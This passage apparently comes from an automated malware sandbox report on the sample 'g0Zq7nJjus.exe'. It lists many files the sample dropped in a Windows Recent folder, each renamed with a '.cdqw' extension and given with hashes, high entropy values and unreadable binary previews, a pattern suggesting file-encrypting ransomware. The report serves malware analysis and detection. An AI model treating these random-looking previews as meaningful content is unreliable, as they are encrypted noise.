Preview:	QCFWY~pn..d..`A>j...,@...5......4..q.....p...ww.I"..j+......g..;....k..f.'.M..pi.39.u.....&..7X...&..=O.c./F.=.........p.)..8j......Z..L,8.@...e.H=....v.g.....N.x..YW....J...Dl.....'.#W....W.I.@...>.F.Z2..z..,.1......".0.f.1c'.F..Z..,...l4.:..O.....E.......Y~.....I...zlw.O..w...tqc)...w.e.....m.`...x97V........y.......q.sN........"Rc...0$...{.......n.w..1H..[._...P;.........q.Nt=.+h0...K.?....\|`.A~]...8..y.K.#.....$\..[.I.N!H.?...<.] ..V1.q.B.2.T.._v......t....S@.../.\|T)...}n...x.<......r.n..=h.^qo.c._....Q.-W.S..o.k.hO.7..p!~.w.Ye.u.ix.5C.....{..K...5.&../.6ta.. ..w...).8......y..........z.\|..D...G...80?...E...W............Q.(%.....$U...L....~.9...V..b.F3v.gR..<..XUZ.-....+%.\|...\|...._.E>..F,7..m....[5e..ni..FA.8i....<..7......<$^...E..\..BB.J......Db@w(.M..(....8......Z..,or..$.skZ...l=..a..0.....O{......iR.a...,'..z[.j..\"LQ..A..O....q..x..Z.G.<..T.krU..=T.+n.........N.\..5=...](.-..M.....G.B6_..}....<f....1.T.h./..Rs.v.B.z..NO

C:\Users\user\Application Data\Microsoft\Windows\Recent\QCFWYSKMHA.xlsx.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.869843790856681
Encrypted:	false
SSDEEP:	24:nCD3Qqj2WzOkwTEngsRJ8DrdVQyJRPOsGPww7FgBQLPvUXMlazQ9bzmMnmrE2bD:nCMrBuRJ4jQKP6fVPccgc9bbaD
MD5:	3CBEE3A47E5A5EB1F6F61830FD155B1D
SHA1:	EE064A1ADCA866835324B25FC4E593DCC22A2474
SHA-256:	8F2ACD870E1FD401350A2A65DDCA66ABED4F984C5C613A2B4465FC7B68FE0717
SHA-512:	84F016C72F42F100D3750C389BFA47C336A72DC699AC9270B04C482CB58420F870992E866AFCD454D1FC9DBE3734316DEDD571D22A20AB4141DDBBA7E887E266
Malicious:	false
Preview:	QCFWY..?6....?..!..;..:..'.`.....8G.RCM..@.+.'.....XW..V.TEQ..l1....~.r.......+....X....6W.l...xM.\(v.T...3.?.....#.2..eD..}...8..n4S.....MKK.....z>...L.....3..l...?..:n4"......j........L.&kb.:.#L.B.[6P...j.?...G.4.7.h..."...a ...@n..0t.:.`....).q...E........]n`.(.n_...6...>.T&t.7.L....Sf.9......i...&...g....$.~.v..,.}nRO....R..+N..k....Jp.z....`.6;...........VU..0#.T.l.@.,.. ...VU..&+.>.m.....6...A.]..}X.8.....:z..U.. v.~........US.0.t.w...D.0P.[......E...?..$@..T[)..>..._]...F............;....V.{....vXMM..."{W'.9.`e....1.b.-.lY.I .}..84.)H..o...V.v..W(De..=.....9.....A!Vz.5..)..\|5j.......Y..H.?.\P-...{.....8.S.@Q7.A"=..f..../.B....O..1..9......g.8........h..{...4I.ljF....&.h...g.&h.4.......Wa9.n.u.n..c.Z......#........12.V...\|kj.NhS..'..F.Z.1~...to..b;..u...~..8L...........U..J.....}<.p..q..)N.\|-....O4.EQ...=..d_..J2.~..>..)Qo.q..]I.Z."....{.x>_...q\....(.B.x.1....-. K.y4.......5..... ..mV...D.y.l84..29...cm.^/.R..r{.'.

C:\Users\user\Application Data\Microsoft\Windows\Recent\QNCYCDFIJJ.jpg.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.868380301179324
Encrypted:	false
SSDEEP:	24:tzKfTVHf+oTlQzlHHSm8EpWOej9TOLt6IFXtqOps68WRahV1t5cdZIoeIfyg12bD:tzQ1TlQpHx8EpWHxTY6oGDWerP83eIcD
MD5:	4F5E3A87A2E22724E7F2156FFF2E24FD
SHA1:	690FE417A6937D3832C365EA04EFDBFBC0279879
SHA-256:	65E6AE3D0391EA9B3630271079A59CA3F821E516773BF523AD35159F0B79F071
SHA-512:	AEBC63C44859D2BF66CE58B9597F7C630C3EB4B4803115E3AD549D6BD4F942669583411D1E9CC4FE041772557E4F9155B0755C8F988A41DC1AE6A36B98E307C3
Malicious:	false
Preview:	QNCYC..p..?.W..2_...E..2. `.kR..g.....C.UVQA..........+.1....`.....7O..+@C.n./.+.X..."...m.\A0....((..9.U.....2UJ/...Bz.b.,......(...5.....U...j..^.....w....KI....%.../X..=..]..N...DWW..kd...#$.8....A..j.....c.^..V.%n4....Z.3G...%.zW.....2...&.jX.@.T~...10......F..IE...FZ.6...g....g9'...............Y..../..&LF.k.YqV.W..,...<c.}.1..7........'..).....V{..;..hN`.f...k...F.&...W.I!..R..J.X.H.yb.'wf....A.K...<.EGB lG=L.$[>..nT.7....^.5.e>.v[.o.\|....HKm..+....g.k..W...HD.a.=.~..s..@r+,.'5BQ.u..:n...~g..p.p!....P]XXE.......(zZ..R.y...Q8..Cj....H7......C;.....T..9M...k..PT..a.3.F..$....'...X..a........}..FU...Zp.........r.I..3...5bz......0v...f^.l.^5.....x.G....6.B.,.6q..-..x.b..xN...E.I.......$&..W.S...0.{eT,.A\2..3.h.Tk.c.^K...%.E...t.g...,.."..Ffw..c......V..[.O..t...... ..~.R...`E..v.N..;{.O.}...;...qs@.\|].o.....r..&...Q..[0......_..#.....;%....lG..8.......2q\d.A.T].NC.._y...1.~1.E..44.*v.t../...=..+.].y........#..l.:.a..o.i..U..^

C:\Users\user\Application Data\Microsoft\Windows\Recent\SFPUSAFIOL.docx.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.843278700942698
Encrypted:	false
SSDEEP:	24:U1xJAWrBfV7gW78V0g5Q/3CpF+SbxTNhlktx8vYKG3Dsk1SvOvKZoWtcQp9cFmY6:U1xJAWrBN7T78yg5Q/3uFJfhe2AB3Yyg
MD5:	4ED4D2D65B6AD40D35F822EF055A40F2
SHA1:	5209081A00F1FDBA9CFBB5753319E535962D9A40
SHA-256:	3D5EF0170D4296424477348B96A094BF8CFB4E292E02EB447B5BDCB2319450A5
SHA-512:	315DAF5EE053C15BA07761E77199DC9B27D038DEDBCC76DAC61F4D469B5166641D71F3A3DCC5F2F22DA6932F73F41E6D59BED6657002C24A2B2F0E1101CACDCB
Malicious:	false
Preview:	SFPUS^Zz.:,....re......lLz..Z.M!...>l..x)[%...L.....d..w......Ym,.`].]W.....t..)\|.u.'i.7....D......,-.......O... c......O..d....T&.h...%}\./u...4.p.$..r.[....[hl....U.G..X..C...2....=..'D?.....&........}.t..w...j....6.sm)T;\|.IO}.$..l>.F.8..\...I\|p...]0....v..~...q.....[vs.Q ..R..x.c.1Wv....V1..J..fhE-.<......f.d{.f.(..m.p4m...n`<u... .s.r..C..(.hc."}..v..e..,......8Aq[..w[...;h.._p.9DM4b5x.kn1._.....XTX.(.......LZ1.Y.f..uFZ.8..T.....!.`.+...~.=.vB.g.....P...1]..u...........n.J...Q......... ....8...[.X.8&.z."...\..c......04.....l..X&h...c....<Q.5.....4.uh.../.-;k..x...5..........>-.:[.\|..>.dv...O...=7..rH...&_...2 .$...D...Q..Y.y..+.T.!z..~.@.aViJ...a-.x.2..Y.z.......K.I#z}.gVIf)9<y.'.,Gp.V../.wC&I61.N..W......0=...X.{.>.5o..k.\|.".@K.%K}..~.AYs.S..x.J..r..f..gP.vd._.j.FG..~.MM......g.7(..v.sd.L.G.@o...[....:.].Z..A..I...l..4...A..'..<....[,9$f........Jy..?eQr..k[1q`.`&..ld..~)<.i..gb.../.f%.~.<............T......<~.^.R.K.;...XnuF..h!.V.J.^..

C:\Users\user\Application Data\Microsoft\Windows\Recent\SFPUSAFIOL.xlsx.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.844655381015549
Encrypted:	false
SSDEEP:	24:rxnwxLGW78iYPWSy8oOuj7ShIPwVZvd64iHGlHmIk83p/+hUkandXFhLnj+2bD:rxkIikGSh5HiUV7pmWrXFh7jlD
MD5:	A233DDC6F286B4210881CC07475B061C
SHA1:	E29D4FCB9277536AFDE257D77488B2B91EDB64DC
SHA-256:	E16A85B5D8ABD3CF17EA0EE33737BFF5E48636DE46BCBC10562442095C234CCE
SHA-512:	819FD01088BF43BEAD12551A4809184287EADE4D1256CFABC98BF2AE8B9E7DD4E31CE9FBB1CCB57BD87EB8F7E4D08D698CCDCD07119A4723AEA07517F8E33ADF
Malicious:	false
Preview:	SFPUSbj....7]Z.R..\|:..$.{Bx...f.n.s.o.4.A...'D...<.&W..Q-....E..Z.8. e..+.Q..vt.sJ.......F5........P...\|.5cq?q.mh......Bv.q<^Byil.9..}..p.E.....\~g..G8...d..............(.S..H....j....bg1..L.!&..Xj....G...D....C.%..z....Z.E^.......?+.^.5.J..@..HI.....0-.....&\.0.....".....Zj.J.&.q:.'.m..0......ip..$.I.4...D.&..fQ...).c5.gI....3.).G..Y....0...\|'.N.b)...+.a......m.....C.u.O=....9.f.l.j...h...<>B.V+.....V.hn K..A.c..U1...a....+$^.V.Wf....T".....~..wC.....d(..AB...nk0.....&.,....wX%.=hp..+9.`..lET^c..j..[...:@....Fwm...N.._9j......!...~.y.....4i.&.7.......?I.v.......]......+...k.G.L.-.U!...r=....U...s..B.F.L}.X_%@.bKo...`...}.+.S...K.....E.N%w.xe7..l..,.u~#..{-..o.AW..ZQ".F.l....D.j..c0.-..v.g..<~.aV.E.F.v.+..Zl....5x...=.`.....E...3s...E.o..~..VU.....8....%<F.d.........?..d....+e.......V...n....Sw..../.(.r..<;.._l..K.q.R.-..[.......s..S...D8..../.M.dCr.'.h....e.S..6:..Vn...4.....+.bxW0sd..M.xoF...O"..g.#..k.......'j.U..[Rv.`..=.C...

C:\Users\user\Application Data\Microsoft\Windows\Recent\STEVLQVYFQ.mp3.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.85036622605242
Encrypted:	false
SSDEEP:	24:l0jP67RX6c46Wlf4WC/CUxer03iBWxIxsDVyqTyq8NH7r2usea16LD52bD:l0TgKB4WCNBrxIxsDZyqUHZJD+D
MD5:	E40E3E953AA595C8C56FB1593DDDCDA5
SHA1:	5EBC0F48B6C3051512742E589AF9F6047A39B5C1
SHA-256:	7DAB3202F73596120C04F8221159E35AF2CE1FE3FDFCC5D9B9DDF5322A46BF93
SHA-512:	7353A92BBBD4EA2CD9575A43FC54994C201364792C93F2090A0F0562FBA8D2BA552D05914E159BFD060B4BCFBC4FD479BE8C5873D66E216AE0DE1A9795EB1EF3
Malicious:	false
Preview:	STEVLEG.Q....1..."..Gu. ....Q.....Q.S....T..+"..\|)....\...4..j...p.`.c.....Q..(..A..z.c.....4.j..d..Y..-....k..{=@...w......B...6.>p. ,Q.8.......1.Hg^..G7%...u0.Ib@2x./)K..4Q.....[.h..D...Q..F.(.c...3.m.p..5#....lT...k....uy...D.?y........X.7...".q....~....K..f..F..(..t....1......wm..=?.....+5.BV.&..n.Vh-.8.!....$_..S>...ah..P........_/.F..J...9...@x'.b...5-.%. t.{.-Ct.#.=..F.X..}...d.z..-.......h.^.....+...N..P.`......)..I"......g..\|..9e.u..1.b.^.>`c.....x.x.z..X....&m...(.....b.....l#?.5.\|.egT&R..[WK....~.UC.B.X.:.`.].{.d].I. ..= .R.}.DB..eco....PS..v....;.y..{.=\|..R...Z.2..."VF..., .w<.C.^48=..`....a.j.4A......6...W\.8.p._~]${.M[......+..F.M._.%G.......B%.V5...q^cl...;M..U.3.._..K.+.Rc\|)Q<\|..d-......z.f..ju.#.)k>..?.N..J\|X...r.<.b..?e..G...9.&.!...........n..ra.V..R{.j......4.r...s.Tq....?.........5nn..W.r.q.tW.,....).R.2....U...8....=...'U.MZQ.f.]A..K...V.....O.`.J42+.....5.%r_...OqO....N...z......?!a.*...z...P...4..#.I>..$.I....u

C:\Users\user\Application Data\Microsoft\Windows\Recent\TBVPEGRZAI.mp3.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.811758726200213
Encrypted:	false
SSDEEP:	24:TFZLDXF+IXidxgtHSTuCqnZaP/Tce4Sa8ERzx8pzhD0Yymzq3chj2bD:xZnX4IXidxgtHSTu7AP/Tce48u0zR0Yw
MD5:	ECC8D629CDF83A93B8BB53C4B72579D4
SHA1:	9948CF1EE70A0BF9A1080EC883E653740E18316E
SHA-256:	C2C652BBC134045798C704DB336A10E7D6C25DF6E37EFA29B378DFE3E23A1690
SHA-512:	997DF4DC2BC296898E62AA7A1FB01FEE30EFC261F9591A6C24776BD4ACC2E7BAF5A745F1D77A74F6307BB2ACFD556FB490CEB22A0D05B59CA2F0C56EA8F5B0B3
Malicious:	false
Preview:	TBVPE...7...%...W...N^;A..=..=4.C..$<B..N..m.'.;..-O.(b.....k.)...k).X..3.._dV.){........MYN.\1/..J.h.S.....S`...0zN..3.^#Pn..z.....x....c4.....m.....~..2{..I..eY..q..K...l.......^.B\.q.;'.'..j....Ya..b.j.Tk4.k^.m.c.f.(.E$......EP.B.......\|.S...nm..M.....Ex...a..n3LRV.T....?.;<.@..'.$`...c..f..pgt.}.tm.^...JG.VocQ1.7..G.`..M1+_K.d.i+.TG.:p..O.....V.d"'...c..P.@.)t<....T....!.<...ZJm.z..:`e....1Y...U.#H.G.2..T.Q..q..ikn..1&#...aE.`_3VF...JK...y....m.ng.".......VgD<.H@.Gpi.J..!5.43'.oDo....~K..4_..N=.....s.".MZ..(...1.H..[....l..N.h3..........S..."..`.....3...R...j.$...F<z....].-)...rG..=.#....;....I..b..)0.0.........c.9q.xIO8.wQ.W.N:tt_.......\|....rU..-+...` ....,..9...3..?....9.<h..K..SGs....`..z...(..!L.'F.{0$].`Y....nJd..g.3....D.;.$.o.J..(l.~5..i.&.jbX...i..0.G.F.z?..T.T.b.....=BB.p..Z.>..9.A+.ON.3.......J/m.._f...vZ...s....+.z..1a.....Weq.....Y....+..K.)A...+x.4@A.....EPJj.y....^.,.)%....w{..P..Q.1S.....?hH.K.h3 .c=.I.\..I.Y...Z.....6...

C:\Users\user\Application Data\Microsoft\Windows\Recent\UAAXGSSVHQ.jpg.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.855785031330314
Encrypted:	false
SSDEEP:	24:T7ldAUHnSANIRut6rLehmt8sit4oY+pV2zDjhi+XzjLKiVjr2bD:VddHnSANvI77sxYQ4Ji+DjnjYD
MD5:	06C59CC84B7BFC8CDDED848AB170CAF8
SHA1:	DA2727000738324F956E29B1F0027E6FC54358E9
SHA-256:	25D630CB0771AB89349C7DE200810FB8AD6EF5E474C65933101E6275684D4F25
SHA-512:	AE41382E839EB33A2506F53DACD8E05A346ECF9C52612AA770D5108846F7981F9B2B3B499FC6CF295BF9DAB70E71A70826AEB33DAA3ED1F40F0D43CA13E808A7
Malicious:	false
Preview:	UAAXG....6.q.x...J.TD.V..Pd.g......Y,.?.......v..nu..].......azc)%..d...B.....@.w.]+.,3..@...D.......3w..k....eqc.Z.i..cD.^F-...p..2...n.D...;..TU.FE..<..f.F..}U.z,..y..\..)..$a....~.........w....B.A.u.{.&..x....}?\k..26..r._.]..@......N.Q=u....)..7;..A.......Yq..V...+..p..44..z.Bn/.i...j Y+..v..C..8........r.1./.R+.Q.+yO.z.@H}.............9.#.D.C.\.N.+....,a.8q.l.-i.....:#.~2..\k,.;.h\| .W...[.L..!3....9...;.:.d1i..r.\Gz..@V.....9.D...frGe.0"l[>....6o1...`.;WO..C....[.....H3..7<.8(.......B.8@F.S1.D.`M.pM.3.t..\..........%.Q.Z^..[..:;Q...L!......dg..Yix...8..BBm...e._.6.:.0u..c?a.9I...J...;S........$.9h~X...Y.Xg3......M...:Z...e%.....o..pg..[..x.....2..o.Q.vrcC"l..\7..O.a.]ER,......9.M........-d..2-9C..(.P.......8g..@.'7f}.G./..zQ...9.`...\|.5lb..1..v......D..8;F....?.A..\.D..Tp...#....-...v..d...i8...4..oe.W...Y.(T.6S/.H....._.....<.~..{.....aH./.....'M=.. .*.p....../Te'hu...f-].D......)<..(i...J....E..._.R>A.$(.."6..;.<.5..\g.l\..H.

C:\Users\user\Application Data\Microsoft\Windows\Recent\UNKRLCVOHV.jpg.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.86055212157736
Encrypted:	false
SSDEEP:	24:i/71ASvwLSofeckLut8JkZVxz1POUO3EGYK/ruQC4zzcqqwNJ9Ruow2bD:i/71A/9lkYZVKUO/n1Nz91D
MD5:	3DCD19C93912AFA03CB26B85CA2E8BBB
SHA1:	196E0D6041CCE9C83D0703E8212EFD1786FF64C9
SHA-256:	4AD85C7501A86F55B22FEFF0BB13D1C7C1CE3359C9EC80210E543DABAE85BE8C
SHA-512:	5D03F81F52ABA5A3EFBDD870FB11D334F2BF700C2D801B7BB947610796202448FF3523986638898E2803264883BCBCA77487D352D8C16E9463842B280E2E9572
Malicious:	false
Preview:	UNKRL..1~K.s8.!.;QB\vh..s.`...(.lU..O.+.EO..Z........ 52!9V....S...;.T.S.....6._?+..dD`.&.......b....l 'g,.0.g...{N...r...P(..&.......?...'..>u..u...A+.....l...T..4.p@.r.).a.1s..I"..Py....O4W...........#;...^.l.4s2..0....L.....H.S>.!..}.rH..!..i...{..PJ.G.6..J.4...)........Eo.H\.....R!..A$....gBx....W..{...6D.rF..w.....0..a..........!W.p1.U:..d.E.....i.;..+....??..R......".9N.H..6...My..-9......{B`?Z....f.........'$e........Z..G....i..)....B6...y..b.<.I..3./..u-..,1.C.ki.........(`....z.n..1;...P.<5..S....#...)ISR...>.....%(.\|./]..[g....A..EJA........tM...T.;..\.w....G..l.........p..O<.U...Uc.. ..[..........8.(:*.<L.l...s.....:..R.Y.(.^..d).............'..~<>..1.....r...x.L....W..@.%.?..(Y.....W...c.U"~;...7.-..<.z?R.Q..._k..;$,4..z...n.=Y..........`...+.'..l9t..}X.....T..v.hCM...+.B.G.V .....kv..I.zCG\.Z?...!.[/...=.G.`.~3.Z....-...y...-.V.....j.C...Aio......).B..B.........6S..n.7.....m.u..P.{H....@n_H...!...4...

C:\Users\user\Application Data\Microsoft\Windows\Recent\UNKRLCVOHV.xlsx.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.840252387302676
Encrypted:	false
SSDEEP:	24:8lFB0n5tdY/hX3CaMPLN4ox6d+XBH+6DVpzy+x2EsT8CPGxX+fngXt8dpHNMRZ2X:BY/hHC7NVeuHVVsICeq0qtVD
MD5:	10D4C50545B4C06FCEE20202DBA1A193
SHA1:	1A8175A029C23F32D3E25E72D662304084FB6259
SHA-256:	BDB77E840EF00BA7E7666514B921B8CB94D0D3DEAECDCA8C51DD489489E71048
SHA-512:	9531D8DF5452DB897702206D70DAF8B0B27C601701B1C0645858B5BA16DD03374BF3FAE8499DF35A77075369A8C3BCDC01F69DF5F88CB698C78A218031EF0D63
Malicious:	false
Preview:	UNKRL.q..4.u.yX..+.....K.....ls.G..f;.=.c.....#.......s.....Y..{d....$.5..]g#T..#h....BME...9\|.2Zx.6..> /.W...K...#<..T.p.9.Y...3\|^...E..g_..9....Q.}V.P.......e._.)..$H....j.n.J....IEc.h..e.?....M...d.D.u....,....`Z'...].U.....\|'b.cZ..._(..BL....;.y6....#).^m~....RA..E..........6...p..Q..P....r..t....k.........db.A~.-8..V.1.!....d}.(R\.f,5\|y.).vd..ib......_.y..(...ND.0"7...m...8^L.ur..w5....==6'.#....m..6..w1.B...\|6.......>..~....Mg...H^=h....,&c..R.'kE.-8....$.-..+q...zI...'.....NM;..l..Z..n..o.q....^P5.q.:.s<7.D..FC.....V.)~.....P...Cl$.^...h.yx..@.2h....2Ae..&>.i..>k.d....r.wR...K.{?o' .P..M..^U....OWP..uD...vJ..;.V2.n.4..di.p...v..xW-...HO-...........>...\.<..^.J.....)t=.....nR.z.!..Cr..F.JT......d...U...W...T$.kRDhR;. ..A..I>..\........y.]?..R....}_.,...l..Y..",Yu..L......-..1..........8Y.z.P.w.........c_.o.d.v.....9N......<&._(....s..G..^...X`..m...A.......~...b.v-.6.g.N.........A.......H.%5.\|.Q.5...;.Pj...z........g.....Vz,....H..?;.k

C:\Users\user\Application Data\Microsoft\Windows\Recent\VFMANBAXKI.jpg.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8629187291547105
Encrypted:	false
SSDEEP:	24:qxyEvufBoZzREWaznkVdKe985vrbs3VlaSUIBPG4RpQ1pcJPs8WKPppygxomhUPp:qdvufep+1WfDBPGupUOy1a3oWUPK5+D
MD5:	9B2A844BD2972CD4476FFF0D9BEC319E
SHA1:	AC8E3029609293AA18075BE3B4FDCE8B4A8613D3
SHA-256:	A78EB67717DCE0029EF0236ED9A7B6CB85A7DCBBB6A94C427C8267D2D585E787
SHA-512:	8EB47CF054D93E0820C2B55FCEE316F7ADA4CA978EE220975F56C052B566D8A814D1BAE9ADD90C0704D9CC341694B22EB8761687BA0C9A450E68862E0A5BE348
Malicious:	false
Preview:	VFMANOm.=L9\|v...o.Z.:. 1.Z?./...'...B.hJ.J.d.n&.......($..C.z....,Z..C.!....&XG...8b....V.XAJ..#[......!.w......9...=.Js...j!..a."..H.U.!..K....0.V...?...!..F#............iX..Y......V...0..6]....b..[8...\`.....>..V....+.E.l...7...p.(..8p..l>f...fP....D....-.~D/..o'p......Ug...>z..Qct.Hy .M..x.z.q...%.W.#+.......gl...?...57....a. {k.R..{U.zC_.h....^jQV.\|Q./v...].yW'xa.....u....5../..(~0.X....q:.Y.6I.iA......%...Cn...m....!..0.T.....n...\...-.B..,......I.P.t1.V....@.g.%.....25.&."..:\....]o~..v..H{....e....f}..U.\|.e....I...k....5......%gq.S.q4..5.o..%.7.\..)(.q..n...j......q..PG.o.'...'+.G%./...H'..{W..M!.2.S....y.n.&aZ.......(..@...........\|Z.8....g.M.....&...t.W1@.T....dD.T.G...G.Qv.......K...Q^.h...l$h...x/{.:.'PW2.y.Ja.A...2. .L.>..3.!..6.s....@=..o...Oy.C...@....A.....\|..a.[.R...D.l.N.....e.....V..[....<..hV2.!.}......=..@.....$.[.1.K...".......D.N.!.=. ....ls\|L........s.ZG]..M..4eV.P.X.T.....v..VcY.S.-fw...r.~...L.....X..6_.gl.Kwa....o...

C:\Users\user\Application Data\Microsoft\Windows\Recent\VFMANBAXKI.mp3.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.856357260743645
Encrypted:	false
SSDEEP:	24:kJ8XhNhAy4pDvvQ4W+c+PQzOE0zQEKuIVPE+yaP9Ur1d3UzGKuLWgmO8rWS+2bD:k2n101cKQzD0Yu0PfyaFUpd3US5WlO8x
MD5:	893784A6AEB8CECB9666C18B5EE3E0F4
SHA1:	D099DC2DE37AE19B322422EA774D9DD7C06C1182
SHA-256:	83DE2423E07F50995F8AFC967503466A6F89EFF6C653F43D6D4BB44B1FA48741
SHA-512:	C14D9074C9C47414F00D21B734BCEFD54B9D623AF4C92853CB770E3BFCBA54673CD6A106C5BA32DA91ECAAA85EC95625D3B961EA3A3EB4880792D768754BF6E8
Malicious:	false
Preview:	VFMAN...-...qY<.........T.9.a.x......\...&xUOE.I75..G.R.%..J2.spD0,...X....7..~0gq.....r."\|.D<.rZ+......z.l.%~....>.......m.F.Oh...K.;....Z.h....../......Z.vx.T....j..^x.%.........c.f(.\.tQ)u.f.6..Z6_...s..OH....w....^O]..Y:..<..r....0..:.^.#pPo+(B.Z.%.N....+..G.V.ZFn..u..i..F.....\|..T.....SQw.f...q.........e.S..z..U...oN.>#..."..4NDi..l...'...........E..H....1.r..w...<m..~.yH%`Z....;v......,.,......$9..%ZE.V.......RIG...}..KO....".9...W.@nx..e....L.?%.........}[ki..DSA.[.+n..&....;V.8a.D.....\|!.....r@.>g.......u...\|3.4.N.P1..^.):z.X..EH...?...2..E.X^.l..u:..XhI.o..E.e\|A..k...tX....o..8.....{..@......k3...-......3.zC.V.bQ.q../O.4u.f.....5...Y-.....9.o...`....#.."G...g=..,..yWj...S...@..N...!.Q.S..j...p..C..8......KL\|G^....^.h..3.!.. ...d3r.J._...VF...}X`L.a.c....N..C..U.9,#...C9.....@us>...y...W..=x+.y..+....'.m.b.>....UZ.L.u.;..'.....14.a.]....H..x...r.).^w.W10}. .p.(...*..&.d.=...o..`x.(0.%>..=..._....=......T_....p...o...Z7k.-....&.%....

C:\Users\user\Application Data\Microsoft\Windows\Recent\WPXVLHSFAZ.png.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.855781604646587
Encrypted:	false
SSDEEP:	24:446NSj2rWrpfW0DaXbRxuyNSSE0wvno3/rFfymQlAxgo4wGvc2xBa2bD:6NSjqWrp/aXbCeSSZwvnc/rFfyrAxpq7
MD5:	1D4863600865E84C9AABBE69599BEFEC
SHA1:	A56E46A3ED0942CC701FFA40B044B199B8ACCFC5
SHA-256:	D1E36607537581ECEA94BDF010115EB9B099DCF8B836C0D137FD8DC14C94E289
SHA-512:	3C7D64D7C1BD9293B7D74CC457A968E5D5F7B177FAA10B119ABBB4ACD83F9270B2495A588998CEBE7C17939C905F2177F29CFC8FC16BA15968D993788DD1FD5B
Malicious:	false
Preview:	WPXVL.....T....G8.W.#Yt..w..7....T,NG..t...@..;....Jj.Y?.8..;R`..k\.-Q.X-!.vT...+.ZT..,..Q2...?bh....}-RbKf..1...=....../..Am. ...v......x...+....3E...k.qs....o.@..D.px.w..[}n6.Pv.=....Y..q1."...PFG}..X1=/...A_...gQ....VE2l.~..q.M8A...4WI...s.q[...[....g.;....$.....M......h.9.;.Y+0...!.....b..D......Z.IE._...5..K.`....VI..&8.K.....:.".w..l..b.......E..h..M....v.f.p)!..t.;.,..3 ......l...cv...A-.IZ.........[.FlM..a5t.3f.....\.....Gb0.9..G!...*...@....[..)~.~...._...1.(7&.CQ,S.,...Pd.6........B.5m........n.......^g(..B.?...l..sj..$.5..p.ZL.I..!......o...l..a9...a......90."A..XM...P.....o.b..4....nD..@.N.+...p .S.(2..w..?2.".'....a......./n.]YV..(~O..oi.M.E+o9......S..`Jf..%.,....\.......g..#\.._k..$.......y.BK..s..k^~D.6-.b.^W....Z3.&.......k{a..}(.....u+.{3D...M..U.:rY(.;.....mSWE..&/...K...5.F...../.k.y{j8.....'.@.Z.....d.......v...f-..O.e'"..D...a...Q....3o.[.#em..\|..r.yu.p.t.....R..l..x..l..........r..g......N..k.T)^.^\.+...:e

C:\Users\user\Application Data\Microsoft\Windows\Recent\ZQIXMVQGAH.mp3.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.856490556822247
Encrypted:	false
SSDEEP:	24:VcbEE8zssDtus+riHAGfpKZsjfgDdUCcc2XrziORGZYHGTjDypMWimp2bD:MEEqHRus+riHZpKGjYDP2NRGZ8tNCD
MD5:	9CD2587E812EE5C95805D32B3FF2B915
SHA1:	2CE48C344CD3E700A7640A8334221F7890E89CD2
SHA-256:	3E3307D3D6326FC95AA6068BC2AE1964216924AB0E95BD892B8F93D46FB2D879
SHA-512:	450E375AF5B1B50649E2DA09B9B827309181B34E838D6EED7BD20832EA4386151228FB2C5C8D8BD18BAB7782D7CBDEEE336DA932DFC582F9362620B86431A2CE
Malicious:	false
Preview:	ZQIXM......L..K$`.:........!....U$_...<....9.....c......Ow.^...m..3j....=+...F#...-u.._.3....7.D.e...Yc....R..:.z......v..T_n..\|)...E.A...'H.;/.!.X.....7,........g..:!>].f$._.r.r\|...m..{T..K}6.tS../.0..r.......P......%.....'.'.o1. ...{...X._..Q..D......T./..........U.....5!8....]U.-..I.NvB.<.D.7U.MQ.oC....X.......&.......,[...d.f...O.bz..'ZlsxA&M!v:C...5.h...~...s.5g.Y\|...L..B..+....O.....u..........^.......T ..f.\!....j...Q..w...I.J..lG.Gy2._..Z.g.......4.\|&Eo.NS^....&...@~.'."...0..v.?"ux......[e;P.N.']..cw3.%.......I...W2.:MO...E......^."...`(o..O.m;..4{.su...Ds....05N..>4/.....,.D.H.n..=..{r..X.k.;..k.H..L........r..7P..C.$rz..F.>.1kWAFS..F....>v......6..\...l.0..(0G.n..............;...[..3.S..+....v..Z...{...Z...."FV.I6-W.L..S .n.B%.P..E...y'2......M.6......9.<.h....:.C.m,`?.....\|......0...ov.j.=..d.,..".(zLDr..d.*..tV.`.F.O.z.0.....-Mt...3..)...7...8..Q..7.>.`0+\|.F.0.v.....=..L......I.8m.j.i..\|R.Y}A5}.F!E...8....'Xh.L...P.

C:\Users\user\Application Data\Microsoft\Windows\Recent\ZQIXMVQGAH.pdf.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.840728160600036
Encrypted:	false
